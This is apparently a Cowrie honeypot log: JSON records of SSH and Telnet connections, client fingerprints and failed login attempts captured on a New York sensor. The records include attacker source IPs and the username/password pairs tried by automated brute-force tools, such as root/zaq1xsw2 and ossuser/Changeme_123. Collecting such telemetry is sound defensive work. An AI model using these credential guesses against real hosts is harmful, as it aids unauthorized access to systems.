{"eventid":"cowrie.login.failed","username":"root","password":"nq123","message":"login attempt [root/nq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:58.743591Z","src_ip":"107.0.200.227","session":"755078da5dfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51000,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a51f1d048f8","protocol":"ssh","message":"New connection: 45.153.34.114:51000 (159.203.135.109:22) [session: 1a51f1d048f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:59.545338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:59.549845Z","src_ip":"45.153.34.114","session":"1a51f1d048f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:59.644934Z","src_ip":"45.153.34.114","session":"1a51f1d048f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:59.780718Z","src_ip":"107.0.200.227","session":"755078da5dfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:34:59.897454Z","src_ip":"45.153.34.114","session":"1a51f1d048f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:00.990096Z","src_ip":"45.153.34.114","session":"1a51f1d048f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.156983375549316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:03.226247Z","src_ip":"74.91.213.120","session":"78d752ae8cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51012,"dst_ip":"159.203.135.109","dst_port":22,"session":"220e38dcbf8a","protocol":"ssh","message":"New connection: 45.153.34.114:51012 (159.203.135.109:22) [session: 220e38dcbf8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:07.562728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:07.568412Z","src_ip":"45.153.34.114","session":"220e38dcbf8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:07.659139Z","src_ip":"45.153.34.114","session":"220e38dcbf8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:07.954183Z","src_ip":"45.153.34.114","session":"220e38dcbf8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:09.058226Z","src_ip":"45.153.34.114","session":"220e38dcbf8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":41834,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e3fe3a89fae","protocol":"ssh","message":"New connection: 92.191.96.70:41834 (10.17.0.5:22) [session: 4e3fe3a89fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:12.629081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:12.634264Z","src_ip":"92.191.96.70","session":"4e3fe3a89fae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:12.762618Z","src_ip":"92.191.96.70","session":"4e3fe3a89fae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support","message":"login attempt [root/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:13.290553Z","src_ip":"92.191.96.70","session":"4e3fe3a89fae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":52620,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccab57cd420b","protocol":"ssh","message":"New connection: 159.195.79.219:52620 (10.17.0.5:22) [session: ccab57cd420b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:14.054368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:14.065021Z","src_ip":"159.195.79.219","session":"ccab57cd420b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:14.151861Z","src_ip":"159.195.79.219","session":"ccab57cd420b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:14.416794Z","src_ip":"92.191.96.70","session":"4e3fe3a89fae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1xsw2","message":"login attempt [root/zaq1xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:14.503801Z","src_ip":"159.195.79.219","session":"ccab57cd420b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:15.599443Z","src_ip":"159.195.79.219","session":"ccab57cd420b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.405898332595825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:15.810456Z","src_ip":"74.91.213.120","session":"e704763b1780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37514,"dst_ip":"159.203.135.109","dst_port":22,"session":"139fbceadc8f","protocol":"ssh","message":"New connection: 45.153.34.114:37514 (159.203.135.109:22) [session: 139fbceadc8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:15.957012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:15.962249Z","src_ip":"45.153.34.114","session":"139fbceadc8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:16.047747Z","src_ip":"45.153.34.114","session":"139fbceadc8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:16.298959Z","src_ip":"45.153.34.114","session":"139fbceadc8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:17.393630Z","src_ip":"45.153.34.114","session":"139fbceadc8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.156884908676147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:20.366309Z","src_ip":"74.91.213.120","session":"ebfd0cd12384","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140805959701538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:21.351733Z","src_ip":"74.91.213.120","session":"a076a5ce23fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.120014905929565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:21.995633Z","src_ip":"74.91.213.120","session":"4b193267be84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46478,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bb4a2bd90ec","protocol":"ssh","message":"New connection: 45.153.34.114:46478 (159.203.135.109:22) [session: 4bb4a2bd90ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:24.419079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:24.424266Z","src_ip":"45.153.34.114","session":"4bb4a2bd90ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:24.511673Z","src_ip":"45.153.34.114","session":"4bb4a2bd90ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:24.767291Z","src_ip":"45.153.34.114","session":"4bb4a2bd90ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:25.865070Z","src_ip":"45.153.34.114","session":"4bb4a2bd90ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44864,"dst_ip":"159.203.135.109","dst_port":22,"session":"47cc1f0e5222","protocol":"ssh","message":"New connection: 45.153.34.114:44864 (159.203.135.109:22) [session: 47cc1f0e5222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:32.038741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:32.044480Z","src_ip":"45.153.34.114","session":"47cc1f0e5222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:32.128033Z","src_ip":"45.153.34.114","session":"47cc1f0e5222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:32.457448Z","src_ip":"45.153.34.114","session":"47cc1f0e5222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":42292,"dst_ip":"159.203.135.109","dst_port":22,"session":"f52c6e6f1302","protocol":"ssh","message":"New connection: 125.16.27.190:42292 (159.203.135.109:22) [session: f52c6e6f1302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:33.204478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:33.209289Z","src_ip":"125.16.27.190","session":"f52c6e6f1302","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:33.424116Z","src_ip":"125.16.27.190","session":"f52c6e6f1302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:33.548620Z","src_ip":"45.153.34.114","session":"47cc1f0e5222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:35:34.305525Z","src_ip":"125.16.27.190","session":"f52c6e6f1302","protocol":"ssh"}
